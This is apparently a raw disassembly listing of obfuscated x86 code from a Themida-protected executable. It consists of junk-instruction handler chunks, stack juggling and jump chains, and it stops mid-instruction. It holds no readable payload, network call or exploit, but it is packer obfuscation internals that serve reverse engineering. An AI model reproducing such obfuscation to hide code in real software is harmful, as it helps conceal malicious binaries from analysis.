sub_59196D+16AAj pop esp movzx ecx, ax push 7530h jmp loc_59268D ; --------------------------------------------------------------------------- loc_58E24D: ; CODE XREF: sub_59196D+21A2j add esi, 4 sub esi, 4 xchg esi, [esp+28h+var_2A+2] pop esp mov [esp+24h+var_26+2], esi push 5702h mov [esp+28h+var_2A+2], ebx mov ebx, 0C79690Eh xor [esp+28h+var_26+2], ebx jmp loc_591697 ; --------------------------------------------------------------------------- loc_58E276: ; CODE XREF: sub_59196D-184Aj add ebx, 4 xchg ebx, [esp+28h+var_2A+2] pop esp push edx mov edx, 4 add esi, edx pop edx push 488Fh mov [esp+28h+var_2A+2], esi push [esp+28h+var_26+2] jmp loc_596E51 ; --------------------------------------------------------------------------- loc_58E297: ; CODE XREF: sub_59196D-2B7Dj mov [esp+2Ch+var_2E+2], eax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58E29F: ; CODE XREF: sub_59196D-1FC3j push esi jmp loc_596788 ; --------------------------------------------------------------------------- loc_58E2A5: ; CODE XREF: sub_59196D+53BCj mov ebx, 2E0B7CC8h xor ebx, 3E456160h neg ebx jmp loc_590191 ; --------------------------------------------------------------------------- loc_58E2B7: ; CODE XREF: sub_59196D+4D31j push edx jmp loc_593B7B ; --------------------------------------------------------------------------- loc_58E2BD: ; CODE XREF: sub_59196D-516Aj add ecx, 4 xchg ecx, [esp+42h+var_44+2] pop esp jmp loc_592F6A ; --------------------------------------------------------------------------- loc_58E2C9: ; CODE XREF: sub_59196D-40EAj mov edi, 38515B68h add ecx, edi pop edi or ecx, 0C9B7DC9h add ecx, 0C88D5B24h not ecx add ecx, 51401C73h dec ecx dec ecx add ecx, 1F8767ADh add ecx, 94A5D704h jmp loc_596809 ; --------------------------------------------------------------------------- loc_58E2F8: ; CODE XREF: sub_59196D+4362j and edi, 1E69397Dh xor edi, 2CAC24D4h xor edi, 1C72CD5Eh add eax, 0CA25DAh jmp loc_59856D ; --------------------------------------------------------------------------- loc_58E314: ; CODE XREF: sub_59196D-34AFj mov edx, 4 add eax, edx pop edx xchg eax, [esp+4Ch+var_4E+2] pop esp pop edx xor eax, esi mov esi, [esp+44h+var_44] add esp, 4 push esi mov esi, 68293A1Fh xor esi, ecx xor ecx, esi xor esi, ecx xchg edx, ecx jmp loc_593844 ; --------------------------------------------------------------------------- loc_58E33C: ; CODE XREF: sub_59196D+15EDj mov edi, 14501137h sub esi, edi jmp loc_59511C ; --------------------------------------------------------------------------- loc_58E348: ; CODE XREF: sub_59196D-546Cj pop ebp add esp, 4 or eax, eax jz loc_59441C push dword ptr [edi+1Ch] push 409Fh mov [esp+16h+var_16], ecx jmp loc_593D02 ; --------------------------------------------------------------------------- loc_58E367: ; CODE XREF: sub_59196D+1866j jmp loc_593A5E ; --------------------------------------------------------------------------- loc_58E36C: ; CODE XREF: sub_59196D+5C0Dj mov bl, cl mov [edi+eax*4+1], bl pop ebx mov ecx, [esp+12h+var_12] add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58E37E: ; CODE XREF: sub_59196D-4CC0j movzx eax, al pop small word ptr [edi+eax*4] jmp loc_591F76 ; --------------------------------------------------------------------------- loc_58E38A: ; CODE XREF: sub_59196D+29B0j mov edi, [esp+0] add esp, 4 add ebp, ebx mov ebx, [esp+34h+var_36+2] push 5D60h mov [esp+0], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp xchg ebp, [esp+34h+var_36+2] jmp loc_594D19 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58E3B7 proc near ; CODE XREF: sub_59196D-5C89j push ebx push edx mov edx, 5CC63039h not edx jmp loc_59676F sub_58E3B7 endp ; --------------------------------------------------------------------------- loc_58E3C5: ; DATA XREF: Themida_:0058B0E4o lodsb jmp loc_592E0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E0B1 loc_58E3CB: ; CODE XREF: sub_58E0B1+1j mov ebp, edx mov esi, ebp push [esp+4+var_4] jmp loc_590506 ; END OF FUNCTION CHUNK FOR sub_58E0B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E3D7: ; CODE XREF: sub_59196D+3ECDj add [esp+34h+var_36+2], 523D49D9h pop edi sub edi, 523D49D9h jmp loc_58FD4B ; --------------------------------------------------------------------------- loc_58E3EA: ; CODE XREF: sub_59196D+4679j mov ecx, [esp+30h+var_32+2] jmp loc_5929EC ; --------------------------------------------------------------------------- loc_58E3F2: ; CODE XREF: sub_59196D+505Aj add edi, 4 xchg edi, [esp+30h+var_32+2] mov esp, [esp+30h+var_32+2] or eax, eax jz loc_59433D push dword ptr [edi+1Ch] push [esp+34h+var_36+2] push dword ptr [esp+0] pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+3Ch+var_3C] pop esp push esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+40h+var_40] pop esp mov [esp+3Ch+var_3C], esp jmp sub_58F533 ; --------------------------------------------------------------------------- loc_58E439: ; CODE XREF: sub_59196D-15EEj mov ebx, [esp+3Ch+var_3C] push edi mov edi, esp push ecx mov ecx, 474C28C9h sub ecx, 0C93515Dh jbe loc_597DF5 sub ecx, 3AB8D768h add edi, ecx pop ecx add edi, 4 jmp loc_593135 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C376 loc_58E462: ; CODE XREF: sub_58C376+10A3j pop edx sub dh, 24h jmp loc_597D8F ; END OF FUNCTION CHUNK FOR sub_58C376 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E46B: ; CODE XREF: sub_59196D-3D3Bj xor [esp+1Ch+var_1E+2], eax jmp loc_5977A3 ; --------------------------------------------------------------------------- loc_58E473: ; CODE XREF: sub_59196D+32ADj pop ebx add eax, esi mov esi, [esp+18h+var_1A+2] add esp, 4 push 47F4h mov [esp+18h+var_1A+2], esi mov esi, 7E3078DEh sub esi, 0F3703EEh dec esi jmp loc_598385 ; --------------------------------------------------------------------------- loc_58E498: ; CODE XREF: sub_59196D+219Bj mov [esp+18h+var_1A+2], ebp mov ebp, esp push ebx jmp loc_58FDF3 ; --------------------------------------------------------------------------- loc_58E4A3: ; CODE XREF: sub_59196D+6CE1j add edi, esi pop esi jmp loc_59519E ; --------------------------------------------------------------------------- loc_58E4AB: ; CODE XREF: sub_59196D+38EBj pop ebx add ecx, ebx pop ebx add ecx, 4 jmp loc_5976E8 ; --------------------------------------------------------------------------- loc_58E4BA: ; CODE XREF: sub_58C68D+6j ; sub_59196D+345Fj add eax, ebp pop ebp push edx jmp loc_58E314 ; --------------------------------------------------------------------------- loc_58E4C3: ; CODE XREF: sub_59196D+1C6Ej pop ecx jmp loc_592380 ; --------------------------------------------------------------------------- loc_58E4C9: ; CODE XREF: sub_59196D-21C5j mov edi, [esp+0Ch+var_C] jmp loc_58C51F ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5909BD loc_58E4D1: ; CODE XREF: sub_5909BD+1j mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp+0] mov esp, [esp+0] shr ebx, 2 inc ebx jmp loc_593A82 ; END OF FUNCTION CHUNK FOR sub_5909BD ; =============== S U B R O U T I N E ======================================= sub_58E4E8 proc near ; DATA XREF: Themida_:0058B1A0o pop dword ptr [edx] jmp loc_58B37B sub_58E4E8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E4EF: ; CODE XREF: sub_59196D-412Bj xor bl, 0CAh not bl sub bl, 5Eh add bl, 28h push dx mov dl, 66h jmp loc_5967A5 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F42B loc_58E503: ; CODE XREF: sub_58F42B-1DCj not edi sub edi, 27423D0Bh add edi, 1DC90D0Ah neg edi xor edi, 8CD7A96Dh jmp loc_5936CA ; END OF FUNCTION CHUNK FOR sub_58F42B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E51E: ; CODE XREF: sub_59196D-60D2j pop eax jmp loc_58FA77 ; --------------------------------------------------------------------------- loc_58E524: ; CODE XREF: sub_59196D-CBj push 0DB8h mov [esp+20h+var_22+2], edi push [esp+20h+var_1E+2] pop edi pop [esp+20h+var_22+2] mov esp, [esp+1Ch+var_1E+2] jmp loc_58B558 ; --------------------------------------------------------------------------- loc_58E53C: ; CODE XREF: sub_59196D-889j push esi mov esi, 4 add ebx, esi jmp loc_596F11 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58E549: ; CODE XREF: Themida_:0058B652j jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E54E: ; CODE XREF: sub_59196D+39B2j push esi jmp loc_58C5CD ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591344 loc_58E554: ; CODE XREF: sub_591344+4j mov esi, 4 add ebp, esi pop esi push edx mov edx, 5EAD1865h jmp loc_592ED6 ; END OF FUNCTION CHUNK FOR sub_591344 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E567: ; CODE XREF: sub_59196D+50E1j pop ecx inc eax push eax dec [esp+24h+var_26+2] pop eax add eax, 0F92BC0B2h sub ebp, 109043EFh add ebp, eax push eax mov eax, 109043EFh jmp loc_5980FD ; --------------------------------------------------------------------------- loc_58E586: ; CODE XREF: sub_59196D-42DDj add esp, 4 not edi xor edx, edi xor edi, edx xor edx, edi push edi mov edi, 47375C2Fh dec edi add edi, 57C478C4h inc edi jmp loc_592078 ; --------------------------------------------------------------------------- loc_58E5A7: ; CODE XREF: sub_59196D-56C2j add [esp+18h+var_1A+2], 4 pop edi add edi, 4 push ebp mov ebp, 4 sub edi, ebp jmp loc_594229 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58E5BF proc near ; CODE XREF: sub_59196D+67Bj push ebp mov ebp, 7E3E5C02h and ebp, 635B7942h neg ebp sub ebp, 54AB7D0Ch dec ebp push edx mov edx, 493A2AF5h xor ebp, edx pop edx jmp loc_5972DF sub_58E5BF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E5E2: ; CODE XREF: sub_59196D+4D21j not edi shr edi, 3 sub edi, 13B27450h add ebx, edi pop edi jmp loc_594252 ; --------------------------------------------------------------------------- loc_58E5F5: ; CODE XREF: sub_59196D-8CCj dec ebx shr ebx, 1 add ebx, 0C7EB3D1Eh add ebp, ebx pop ebx sub esp, 4 mov [esp+14h+var_16+2], ebp push [esp+14h+var_12+2] jmp loc_58D0F8 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- lodsw push edi push edx mov dx, 7033h neg dx sub dx, 37B5h jnb loc_598593 push cx jmp loc_58DFE5 ; --------------------------------------------------------------------------- push edi mov ch, ch ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E630: ; CODE XREF: sub_59196D+48ABj push esi mov esi, 15B16EFAh sub esi, 0B41964F6h add edx, esi pop esi push esi mov esi, 4A2105A8h add esi, 29A11F75h sub esi, 432C2EEDh jmp loc_5980BC ; --------------------------------------------------------------------------- loc_58E656: ; CODE XREF: sub_59196D+13C2j push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+1Ch+var_1E+2] jmp loc_58D853 ; --------------------------------------------------------------------------- loc_58E66C: ; CODE XREF: sub_59196D+2484j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58E671: ; CODE XREF: sub_59196D-62F0j sub bl, 2Bh mov dx, word ptr [esp+1Ch+var_1E+2] add esp, 2 push ebx mov ebx, 11786562h neg ebx jmp loc_595810 ; --------------------------------------------------------------------------- loc_58E68B: ; CODE XREF: sub_59196D-4339j jo loc_58D2FD sub ecx, 9336F242h jmp loc_590FA4 ; --------------------------------------------------------------------------- loc_58E69C: ; CODE XREF: sub_59196D-2DA0j mov esi, 71C547BBh add esi, 678D2709h xor esi, 0C4585FC5h add ebx, esi pop esi push ebx pop edi jmp loc_593470 ; --------------------------------------------------------------------------- loc_58E6B7: ; CODE XREF: sub_59196D+5FEFj pop esi add esp, 4 sub [esp+42h+var_44+2], 0C867F20h add [esp+42h+var_44+2], eax add [esp+42h+var_44+2], 0C867F20h jmp loc_5952FF ; --------------------------------------------------------------------------- loc_58E6D1: ; CODE XREF: sub_59196D-149Aj pop ebp push edx push esi push ecx pop esi mov edx, esi pop esi mov edi, edx pop edx jmp loc_597C8F ; --------------------------------------------------------------------------- loc_58E6E1: ; CODE XREF: sub_59196D+6DEj push ecx mov ch, 0C9h add bl, ch pop ecx movzx eax, al lea eax, [edi+eax*4] push 51DAh mov [esp+42h+var_44+2], eax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58E6FA: ; CODE XREF: sub_59196D+1FDAj jmp loc_58CC46 ; --------------------------------------------------------------------------- loc_58E6FF: ; CODE XREF: sub_59196D-4C3Bj add eax, 676F20FFh push eax pop edx jmp loc_58DECB ; --------------------------------------------------------------------------- loc_58E70B: ; CODE XREF: sub_59196D+5247j sub ebx, 1E066F4Fh pop edi jmp loc_594CBD ; --------------------------------------------------------------------------- loc_58E717: ; CODE XREF: sub_59196D+39CAj ; sub_59196D+6C21j add esp, 4 jmp loc_58B91E ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58E71F: ; DATA XREF: Themida_:0058B0F8o lodsb push bx jmp loc_58EE65 ; =============== S U B R O U T I N E ======================================= sub_58E727 proc near ; CODE XREF: sub_59196D-2849j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, 51100DCFh sub ebp, 51100DCBh add edx, ebp pop ebp add edx, 4 push edx push dword ptr [esp+4] pop edx pop [esp+4+var_4] mov esp, [esp+0] push [esp-0Ch+arg_8] push [esp-8+arg_4] pop edx push 5Ah mov [esp-4+arg_0], ebx push esp mov ebx, [esp+0] add esp, 4 push ecx mov ecx, 4 add ebx, ecx pop ecx add ebx, 4 push ebx jmp loc_593DFE sub_58E727 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E776: ; CODE XREF: sub_59196D+2F8j pop ebp jmp loc_58BC16 ; --------------------------------------------------------------------------- loc_58E77C: ; CODE XREF: sub_59196D-4BABj jno loc_5953DC not eax push edx mov edx, 55D41E9Dh mov esi, ebx loc_58E78C: ; CODE XREF: sub_59196D-5F37j mov [esp+18h+var_1A+2], ecx mov cl, 61h push edx mov dh, 0EFh or dh, 1Fh jno loc_592D15 add dh, 21h xor dh, 0C5h push ebx mov bh, dh mov al, bh pop ebx pop edx loc_58E7AA: ; CODE XREF: sub_59196D+328Fj mov ebp, ecx pop ecx add esi, ebp pop ebp jmp loc_593096 ; --------------------------------------------------------------------------- loc_58E7B5: ; CODE XREF: sub_59196D-5F73j shr ch, 5 jmp loc_596082 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58E7BD: ; CODE XREF: Themida_:005916C1j sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push 5347h jmp loc_591688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E7D8: ; CODE XREF: sub_59196D-63B2j add ecx, 4 add ecx, 4 jmp loc_591AAE ; --------------------------------------------------------------------------- loc_58E7E9: ; CODE XREF: sub_59196D+D3Ej mov dh, 0F9h xor dh, 0B4h shr dh, 4 neg dh push ecx mov cl, 37h sub cl, 21h and dh, cl pop ecx dec dh xor dh, 3Dh add al, dh pop edx jmp loc_591A67 ; --------------------------------------------------------------------------- loc_58E809: ; CODE XREF: sub_59196D+527Aj add al, 0F8h push ebx mov bh, 3 sub al, bh pop ebx sub al, bl push 0F9Bh mov [esp+18h+var_1A+2], edx mov dh, 3 add al, dh pop edx jmp loc_59175C ; --------------------------------------------------------------------------- loc_58E825: ; CODE XREF: sub_59196D-1058j push esi mov esi, esp add esi, 4 jmp loc_596840 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58E833: ; CODE XREF: Themida_:00598595j mov cx, 4C16h jmp loc_594F6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E83C: ; CODE XREF: sub_59196D-15C6j movzx cx, al push cx pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58E848: ; CODE XREF: sub_59196D-6429j ; sub_59196D-4B6j ... xor eax, [esp+0Ch+var_C] xor [esp+0Ch+var_C], eax xor eax, [esp+0Ch+var_C] pop esp or byte ptr [esp+8+var_8], al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58E85B: ; CODE XREF: sub_59196D-A09j xchg dl, ch add ch, 67h sub bl, 0AFh jmp loc_58CA61 ; --------------------------------------------------------------------------- loc_58E868: ; CODE XREF: sub_59196D-1551j add esp, 4 sub bx, si mov si, word ptr [esp+8+var_8] add esp, 2 movzx eax, ax push 48AFh jmp loc_596571 ; --------------------------------------------------------------------------- loc_58E888: ; CODE XREF: sub_59196D-5F08j pop edi inc esi jmp loc_594C12 ; --------------------------------------------------------------------------- loc_58E88F: ; CODE XREF: sub_59196D-1E34j push dx mov dh, 5Ch add cl, dh pop dx jmp loc_58F129 ; --------------------------------------------------------------------------- loc_58E89C: ; CODE XREF: sub_59196D+6B95j dec ebx jnp loc_597844 push edi push ecx push 26A019Dh jmp loc_58F4F6 ; --------------------------------------------------------------------------- loc_58E8AF: ; CODE XREF: sub_59196D-2AD6j pop edi pop edx sub edi, 396CB62Ch add ebx, edi mov edi, [esp+18h+var_1A+2] add esp, 4 add ebp, ebx pop ebx push edi mov edi, 2 add ebp, edi pop edi xor ebp, [esp+10h+var_12+2] xor [esp+10h+var_12+2], ebp xor ebp, [esp+10h+var_12+2] pop esp mov ax, word ptr [esp+0Ch+var_C] push esi push 2CB8h mov [esp+14h+var_16+2], esp add [esp+14h+var_16+2], 4 pop esi add esi, 4 jmp loc_596ABE ; --------------------------------------------------------------------------- loc_58E8F2: ; CODE XREF: sub_59196D-38C4j ; sub_59196D+3168j shr eax, 7 jnp loc_58F7D2 xor eax, 3F8D4EFAh mov edi, eax pop eax dec edi jmp loc_5969EA ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- pop edx ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E90A: ; CODE XREF: sub_59196D+501Bj pop edx sub edi, 0B74E9808h jmp loc_58CF3F ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58E916 proc near ; DATA XREF: Themida_:0058B130o var_4 = dword ptr -4 mov cx, [esp+0] push 3D45h mov [esp+4+var_4], edx mov edx, esp push ebx push 27953140h pop ebx jmp loc_593E3B sub_58E916 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E930: ; CODE XREF: sub_59196D+1ECCj xor edx, 7F14679Ah push edx xor [esp+1Eh+var_1E], 9C654EAh mov eax, [esp+1Eh+var_1E] add esp, 4 push 6489h jmp loc_58E1BB ; --------------------------------------------------------------------------- loc_58E951: ; CODE XREF: sub_59196D-3A04j sub ch, 0 add ch, 6 sub al, ch jmp loc_5976E1 ; --------------------------------------------------------------------------- loc_58E95E: ; CODE XREF: sub_59196D+3C2Aj pop dx mov dl, bh jmp loc_59831C ; --------------------------------------------------------------------------- loc_58E967: ; CODE XREF: sub_59196D+2F07j xor ecx, [esp+2Ah+var_2A] jmp loc_597F99 ; --------------------------------------------------------------------------- loc_58E96F: ; CODE XREF: sub_59196D+4B23j pop small word ptr [eax] jmp loc_5944CE ; --------------------------------------------------------------------------- loc_58E977: ; CODE XREF: sub_59196D+2285j pop eax add edx, 2 jmp loc_596D13 ; --------------------------------------------------------------------------- loc_58E983: ; CODE XREF: sub_59196D+35CFj add ebp, edx jmp loc_591945 ; --------------------------------------------------------------------------- loc_58E98A: ; CODE XREF: sub_59196D+19E9j pop eax sub ebx, 4 xchg ebx, [esp+20h+var_22+2] mov esp, [esp+20h+var_22+2] mov [esp+20h+var_22+2], ecx jmp loc_5923D7 ; --------------------------------------------------------------------------- loc_58E99F: ; CODE XREF: sub_59196D-2107j and eax, ecx jmp loc_593417 ; --------------------------------------------------------------------------- loc_58E9A6: ; CODE XREF: sub_59196D+6037j sub edi, 12FD31E5h add edi, 373130ADh jmp loc_595A26 ; --------------------------------------------------------------------------- loc_58E9B7: ; CODE XREF: sub_59196D-1717j jz loc_58DB41 xor esi, 7A484406h xor esi, edi mov edi, [esp+20h+var_22+2] add esp, 4 jmp loc_592310 ; --------------------------------------------------------------------------- loc_58E9D3: ; CODE XREF: sub_59196D-235j add ebx, 0FFFFFFFFh sub ebx, 6C382915h push ebp jmp loc_591557 ; --------------------------------------------------------------------------- loc_58E9E2: ; CODE XREF: sub_59196D-54C2j imul cx push small 5917h jmp loc_58D17E ; --------------------------------------------------------------------------- loc_58E9EE: ; CODE XREF: sub_59196D+4AEBj jmp loc_592CBA ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58E9F3: ; CODE XREF: Themida_:0058B993j push 2E1Ch mov [esp], eax sub esp, 4 mov [esp], esp jmp loc_58FD3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EA09: ; CODE XREF: sub_59196D+20F4j jns loc_592D66 jmp loc_59724C ; --------------------------------------------------------------------------- loc_58EA14: ; CODE XREF: sub_59196D+539j add esp, 4 push 1F3Ah mov [esp+1Ch+var_1E+2], edx mov edx, 6331EFDh sub ebx, edx pop edx and eax, ebx mov ebx, [esp+18h+var_1A+2] add esp, 4 shr eax, 0Ch jmp loc_598625 ; --------------------------------------------------------------------------- loc_58EA3A: ; CODE XREF: sub_59196D+5816j and esi, 3BDA1FE7h jbe loc_591E76 jmp loc_58F50F ; --------------------------------------------------------------------------- loc_58EA4B: ; CODE XREF: sub_59196D-230Cj sub edi, 4A27643Bh xor edi, 0B5DBF1C3h add ecx, edi pop edi jmp loc_597E06 ; --------------------------------------------------------------------------- loc_58EA5F: ; CODE XREF: sub_59196D+659Aj mov dl, cl jmp loc_58B94E ; --------------------------------------------------------------------------- loc_58EA66: ; CODE XREF: sub_59196D+2BF8j pop esp jmp loc_594959 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917FA loc_58EA6C: ; CODE XREF: sub_5917FA+Fj pop cx push ebx mov bh, 0A7h jmp loc_5930C1 ; END OF FUNCTION CHUNK FOR sub_5917FA ; --------------------------------------------------------------------------- word_58EA76 dw 0F180h ; CODE XREF: sub_59196D+3A6Aj ; --------------------------------------------------------------------------- mov byte ptr [edi], 80h pmulhuw mm7, mm7 call dword ptr [eax-4Ch] fild word ptr [eax-0B7F5C14h] retn ; --------------------------------------------------------------------------- add cl, 9Ch add cl, ah jmp loc_595A8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EA92: ; CODE XREF: sub_59196D+3B70j xchg edi, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], edx push esp pop edx add edx, 4 push 7701h mov [esp+0Ch+var_C], esi jmp loc_5905CB ; --------------------------------------------------------------------------- loc_58EAAE: ; CODE XREF: sub_59196D+596Dj mov ebx, 71740823h mov esi, 0A5707D24h sub esi, ebx jmp loc_592937 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- sub esp, 2 mov [esp], si push small word ptr [esp+2] pop si pop small word ptr [esp] push small 0CE1h mov [esp], si xchg dx, [esp] push dx xchg si, [esp] not si xchg si, [esp] pop dx xchg dx, [esp] mov si, [esp] push eax mov eax, esp add eax, 4 push edx mov edx, 2 add eax, edx pop edx jmp loc_5919D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EB0A: ; CODE XREF: sub_59196D+22D7j pop ebx push ebx mov bh, 0F9h sub bh, 0C7h or bh, 39h add bh, 63h add dl, bh mov ebx, [esp+0Ch+var_C] add esp, 4 shr dl, 5 inc dl push ecx jmp loc_5975D1 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58EB2A: ; CODE XREF: Themida_:0058BC3Aj push eax mov eax, 20A2584Eh shr eax, 5 shl eax, 3 jmp loc_595AED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EB3B: ; CODE XREF: sub_59196D-53F3j pop ebx add ecx, edx pop edx xor ecx, 74E506A5h sub eax, 76BA06F0h add eax, ecx add eax, 76BA06F0h jmp loc_58FC38 ; --------------------------------------------------------------------------- loc_58EB56: ; CODE XREF: sub_59196D+17D3j mov word ptr [esp+6+var_8+2], ax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58EB5F: ; CODE XREF: sub_59196D+E1Cj sub al, bl add al, 9 add al, 0BBh push 2249h mov [esp+0Ah+var_C+2], ecx push eax mov al, 86h mov cl, 0 xor cl, al push dword ptr [esp+0] pop eax add esp, 4 jmp loc_594A12 ; --------------------------------------------------------------------------- loc_58EB83: ; CODE XREF: sub_59196D+3FEj add esi, 7FC4572Dh jmp loc_5914A1 ; --------------------------------------------------------------------------- loc_58EB8E: ; CODE XREF: sub_59196D-16CCj mov [esp+0Ah+var_C+2], edi mov edi, 0D15566Fh shr edi, 2 push esi mov esi, 9D2EE02Ch sub edi, esi push dword ptr [esp+0] jmp loc_58C42F ; --------------------------------------------------------------------------- loc_58EBA9: ; CODE XREF: sub_59196D+5C2Aj pop eax add ch, dl pop edx jmp loc_594AFA ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59069A loc_58EBB2: ; CODE XREF: sub_59069A+1j mov ebx, 3E1D2598h jmp loc_58C5EB ; END OF FUNCTION CHUNK FOR sub_59069A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59192A loc_58EBBC: ; CODE XREF: sub_59192A+16j add dl, 0FEh sub dl, 0Fh jmp loc_58BACE ; END OF FUNCTION CHUNK FOR sub_59192A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EBC7: ; CODE XREF: sub_59196D+31C9j shl ebx, 8 neg ebx push esi jmp loc_58E69C ; --------------------------------------------------------------------------- loc_58EBD2: ; CODE XREF: sub_59196D+5A8Cj mov ebp, 53B94CC2h dec ebp neg ebp shr ebp, 3 neg ebp xor ebp, 42F85E0Dh sub ebp, 0BB3CBE96h sub ecx, ebp pop ebp and edi, ecx mov ecx, [esp+0Ah+var_C+2] add esp, 4 jmp loc_596ADF ; --------------------------------------------------------------------------- loc_58EBFE: ; CODE XREF: sub_59196D+6827j js loc_593B76 jmp loc_58E097 ; --------------------------------------------------------------------------- loc_58EC09: ; CODE XREF: sub_59196D-6113j push eax mov eax, esp add eax, 4 push ebx mov ebx, 7766787h not ebx xor ebx, 0DB0DF943h neg ebx jmp loc_5958AA ; --------------------------------------------------------------------------- loc_58EC26: ; CODE XREF: sub_59196D-1F3Bj sub esi, 6DA04816h sub esi, 1 neg esi jmp loc_594B5F ; --------------------------------------------------------------------------- loc_58EC39: ; CODE XREF: sub_59196D+6A40j mov edx, esp add edx, 4 add edx, 4 sub esp, 4 mov [esp+28h+var_2A+2], edx push [esp+28h+var_26+2] jmp loc_58F2C2 ; --------------------------------------------------------------------------- loc_58EC56: ; CODE XREF: sub_59196D+5FE6j push eax mov eax, 72C122EAh mov edx, eax pop eax xor esi, edx pop edx or esi, 1E126BA0h or esi, 85178CDh inc esi sub esi, 0C2A5724Bh jmp loc_595E7F ; --------------------------------------------------------------------------- loc_58EC7A: ; CODE XREF: sub_59196D+3920j xor dh, 0BAh shl dh, 4 dec dh add dh, 0EDh add al, dh mov edx, [esp+28h+var_2A+2] jmp sub_58C376 ; --------------------------------------------------------------------------- loc_58EC8F: ; CODE XREF: sub_59196D-5C09j pop eax sub bl, al sub bl, 19h push dx mov dl, 89h add bl, 2Bh jmp loc_58B67B ; --------------------------------------------------------------------------- loc_58ECA1: ; CODE XREF: sub_59196D+212Bj mov ebp, 6D08759Eh mov eax, 6D08759Ah xor eax, ebp mov ebp, [esp+20h+var_22+2] jmp loc_594879 ; --------------------------------------------------------------------------- loc_58ECB5: ; CODE XREF: sub_59196D+2014j add edi, 4 xchg edi, [esp+20h+var_22+2] pop esp push ebp push esi mov esi, 31DC6216h mov ebp, esi pop esi shl ebp, 8 or ebp, 3257141Dh add ebp, 674784Dh shr ebp, 5 jmp loc_59459D ; --------------------------------------------------------------------------- loc_58ECE0: ; CODE XREF: sub_59196D+5022j sub bl, dh jmp loc_58B6C8 ; --------------------------------------------------------------------------- loc_58ECE7: ; CODE XREF: sub_59196D-2147j or dh, 62h and dh, 0B9h xor dh, 0C4h sub ch, dh pop edx add dh, ch pop ecx sub esp, 2 mov word ptr [esp+1Ch+var_1E+2], bx jmp loc_595220 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58ED05 proc near ; CODE XREF: sub_59196D+3D2Aj var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0058D5B5 SIZE 0000000E BYTES push ebp sub esp, 4 mov [esp+8+var_8], esi mov esi, 